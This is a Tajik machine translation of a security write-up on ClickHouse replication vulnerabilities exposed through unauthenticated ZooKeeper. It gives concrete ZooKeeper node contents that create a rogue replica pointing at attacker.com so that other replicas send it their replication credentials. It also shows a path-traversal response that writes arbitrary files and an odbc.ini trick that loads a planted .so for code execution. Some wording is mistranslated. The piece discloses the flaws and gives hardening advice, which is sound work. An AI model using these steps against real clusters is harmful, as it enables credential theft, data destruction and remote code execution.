Чаро шумо бояд қафасҳои боғи ҳайвонотро пӯшида нигоҳ доред?

Чаро шумо бояд қафасҳои боғи ҳайвонотро пӯшида нигоҳ доред?

Ин мақола дар бораи осебпазирии хеле мушаххас дар протоколи такрории ClickHouse нақл мекунад ва инчунин нишон медиҳад, ки чӣ гуна сатҳи ҳамларо васеъ кардан мумкин аст.

ClickHouse пойгоҳи додаҳо барои нигоҳ доштани ҳаҷми зиёди маълумот мебошад, ки аксар вақт зиёда аз як нусхаро истифода мебаранд. Кластерсозӣ ва такрорӣ дар ClickHouse дар боло сохта шудаанд Apache ZooKeeper (ZK) ва ҳуқуқҳои навиштанро талаб мекунанд.

Насби пешфарзи ZK аутентификатсияро талаб намекунад, аз ин рӯ ҳазорон серверҳои ZK, ки барои конфигуратсияи Кафка, Hadoop, ClickHouse истифода мешаванд, дастраси умум мебошанд.

Барои кам кардани сатҳи ҳамла, шумо бояд ҳамеша ҳангоми насб кардани ZooKeeper аутентификатсия ва иҷозатро танзим кунед

Албатта баъзе аз серислизатсияҳои Java дар давоми 0рӯз мавҷуданд, аммо тасаввур кунед, ки ҳамлакунанда метавонад дар ZooKeeper, ки барои такрори ClickHouse истифода мешавад, хонда ва нависад.

Вақте ки дар ҳолати кластер танзим карда мешавад, ClickHouse дархостҳои тақсимшударо дастгирӣ мекунад DDL, гузаштан аз ZK - барои онҳо гиреҳҳо дар варақ сохта мешаванд /clickhouse/task_queue/ddl.

Масалан, шумо гиреҳ эҷод мекунед /clickhouse/task_queue/ddl/query-0001 бо мазмун:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

ва баъд аз он, ҷадвали санҷишӣ дар серверҳои кластери host1 ва host2 нест карда мешавад. DDL инчунин иҷро кардани дархостҳои CREATE/ALTER/DROP -ро дастгирӣ мекунад.

Садо даҳшатнок? Аммо ҳамлакунанда метавонад суроғаҳои серверро аз куҷо гирад?

Репликатсияи ClickHouse дар сатҳи ҷадвалҳои инфиродӣ кор мекунад, то вақте ки ҷадвал дар ZK сохта мешавад, сервер муайян карда мешавад, ки барои мубодилаи метамаълумотҳо бо репликаҳо масъул хоҳад буд. Масалан, ҳангоми иҷрои дархост (ZK бояд танзим карда шавад, чXX - номи реплика, фубар - номи ҷадвал):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

гиреххо барпо карда мешаванд сутунҳо и математика.

Мундариҷа /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Оё имкон аст, ки маълумотро аз ин кластер муттаҳид созем? Бале, агар бандари такрорӣ (TCP/9009) дар сервер chXX-address брандмауэр баста нахоҳад шуд ва аутентификатсия барои нусхабардорӣ танзим карда намешавад. Чӣ тавр аз аутентификатсия гузаштан мумкин аст?

Ҳамлагар метавонад як нусхаи навро дар ZK тавассути нусхабардории мундариҷа аз /clickhouse/tables/01-01/foobar/replicas/chXX ва тагйир додани маъно host.

Мундариҷа /clickhouse/tables/01–01/foobar/реплика/ҳуҷумкунанда/хост:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Пас шумо бояд ба дигар нусхаҳо бигӯед, ки дар сервери ҳамлагар як блоки нави маълумот мавҷуд аст, ки онҳо бояд онро гиранд - гиреҳ дар ZK сохта шудааст. /clickhouse/tables/01-01/foobar/log/log-00000000XX (ХХ ҳисобкунаки якранг афзоишёбанда, ки бояд аз охирин дар гузориши рӯйдодҳо зиёдтар бошад):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

ки source_replica - номи репликаи ҳамлагар, ки дар қадами қаблӣ сохта шудааст, block_id - идентификатори блоки маълумот, гирифтан - фармони "даст блок" (ва Дар ин ҷо фармонҳо барои амалҳои дигар мавҷуданд).

Минбаъд, ҳар як реплика рӯйдоди навро дар гузориш мехонад ва ба сервере, ки аз ҷониби ҳамлагар идора мешавад, барои гирифтани блоки маълумот меравад (протоколи такрорӣ дуӣ буда, дар болои HTTP кор мекунад). Сервер attacker.com дархостҳоро қабул мекунад:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

ки дар он XXX маълумоти аутентификатсия барои такрорист. Дар баъзе мавридҳо, ин метавонад ҳисоби дорои дастрасӣ ба пойгоҳи додаҳо тавассути протоколи асосии ClickHouse ва протоколи HTTP бошад. Тавре ки шумо дидед, сатҳи ҳамла хеле калон мешавад, зеро ZooKeeper, ки барои такрор истифода мешавад, бе аутентификатсия танзим карда шудааст.

Биёед ба вазифаи гирифтани блоки маълумот аз реплика назар андозем, он бо боварии комил навишта шудааст, ки ҳама репликаҳо таҳти назорати дуруст қарор доранд ва байни онҳо эътимод вуҷуд дорад.

Чаро шумо бояд қафасҳои боғи ҳайвонотро пӯшида нигоҳ доред?
рамзи коркарди такрорӣ

Функсия рӯйхати файлҳоро мехонад, сипас номҳо, андозаҳо, мундариҷаи онҳоро мехонад ва сипас онҳоро ба системаи файлӣ менависад. Бояд алоҳида тавсиф кард, ки чӣ гуна маълумот дар системаи файлӣ нигоҳ дошта мешавад.

Дар якчанд зеркаталогҳо мавҷуданд /var/lib/clickhouse (Феҳристи нигаҳдории пешфарз аз файли конфигуратсия):

парчамҳо - директория барои сабт байракхо, дар барқарорсозӣ пас аз гум шудани маълумот истифода мешавад;
тмп — директория барои нигоҳ доштани файлҳои муваққатӣ;
user_files — амалиёт бо файлҳои дархостҳо бо ин директория маҳдуд аст (INTO OUTFILE ва ғайра);
математика — файлҳои sql бо тавсифи ҷадвал;
preprocessed_configs - файлҳои конфигуратсияи ҳосилшудаи коркардшуда аз /etc/clickhouse-server;
маълумот - директорияи воқеӣ бо худи маълумот, дар ин ҳолат барои ҳар як базаи маълумот дар ин ҷо зеркаталоги алоҳида сохта мешавад (масалан /var/lib/clickhouse/data/default).

Барои ҳар як ҷадвал дар директорияи пойгоҳи додаҳо зеркаталог сохта мешавад. Ҳар як сутун як файли алоҳида вобаста аст формати муҳаррик. Масалан, барои ҷадвал фубараз ҷониби ҳамлагар сохта шудааст, файлҳои зерин эҷод карда мешаванд:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Реплика интизор аст, ки ҳангоми коркарди блоки маълумот файлҳоро бо ҳамон номҳо қабул кунад ва онҳоро ба ҳеҷ ваҷҳ тасдиқ намекунад.

Хонандаи бодиққат эҳтимол дар бораи пайвастагии хатарноки файл_ном дар функсия шунида бошад WriteBufferFromFile. Бале, ин ба ҳамлагар имкон медиҳад, ки мундариҷаи ихтиёриро ба ягон файли FS бо ҳуқуқи корбар нависад clickhouse. Барои ин, нусхаи аз ҷониби ҳамлакунанда идорашаванда бояд ҷавоби зеринро ба дархост баргардонад (барои осонии фаҳмиш танаффусҳои сатр илова карда шудаанд):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

ва пас аз пайвастшавӣ ../../../../../../../../../tmp/pwned файл навишта мешавад /tmp/pwned бо мазмун салом зоотехник.

Якчанд вариантҳо барои табдил додани қобилияти навиштани файл ба иҷрои рамзи дурдаст (RCE) мавҷуданд.

Луғатҳои беруна дар RCE

Дар версияҳои кӯҳна, феҳрист бо танзимоти ClickHouse бо ҳуқуқҳои корбар нигоҳ дошта мешуд кликхона пешфарз. Файлҳои танзимот файлҳои XML мебошанд, ки хидмат ҳангоми оғозёбӣ мехонад ва пас аз он кэш мекунад /var/lib/clickhouse/preprocessed_configs. Вақте ки тағирот ба амал меояд, онҳо дубора хонда мешаванд. Агар шумо дастрасӣ дошта бошед /etc/clickhouse-server ҳамлакунанда метавонад худашро эҷод кунад луғати беруна навъи иҷрошаванда ва сипас рамзи ихтиёриро иҷро кунед. Версияҳои ҷории ClickHouse ҳуқуқҳоро бо нобаёнӣ таъмин намекунанд, аммо агар сервер тадриҷан нав карда мешуд, чунин ҳуқуқҳо метавонанд боқӣ монанд. Агар шумо кластери ClickHouse-ро дастгирӣ кунед, ҳуқуқҳоро ба директорияи танзимот тафтиш кунед, он бояд ба корбар тааллуқ дошта бошад. root.

ODBC ба RCE

Ҳангоми насб кардани баста, корбар эҷод карда мешавад clickhouse, аммо феҳристи хонагии он сохта нашудааст /nonexistent. Аммо, ҳангоми истифодаи луғатҳои беруна ё бо сабабҳои дигар, маъмурон директория эҷод мекунанд /nonexistent ва ба корбар диҳед clickhouse дастрасӣ ба навиштан ба он (SSZB! тақрибан. тарчумон).

ClickHouse дастгирӣ мекунад ODBC ва метавонад ба дигар базаҳои маълумот пайваст шавад. Дар ODBC, шумо метавонед роҳро ба китобхонаи драйвери пойгоҳи додаҳо (.so) муайян кунед. Версияҳои кӯҳнаи ClickHouse ба шумо имкон доданд, ки ин корро мустақиман дар коркардкунандаи дархост иҷро кунед, аммо ҳоло санҷиши сахттари сатри пайвастшавӣ ба odbc-bridge, аз ин рӯ дигар имконнопазир аст, ки роҳи ронандаро аз дархост муайян кунед. Аммо оё ҳамлакунанда метавонад бо истифода аз осебпазирии дар боло тавсифшуда ба феҳристи хонагӣ нависад?

Биёед файл эҷод кунем ~/.odbc.ini бо чунин мундариҷа:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

пас дар оғозёбӣ SELECT * FROM odbc('DSN=lalala', 'test', 'test'); китобхона бор карда мешавад test.so ва RCE гирифт (ташаккур buglloc барои нӯги).

Ин ва дигар осебпазириҳо дар версияи ClickHouse 19.14.3 ислоҳ шудаанд. Дар бораи ClickHouse ва ZooKeeper-ҳои худ ғамхорӣ кунед!

Манбаъ: will.com

Илова Эзоҳ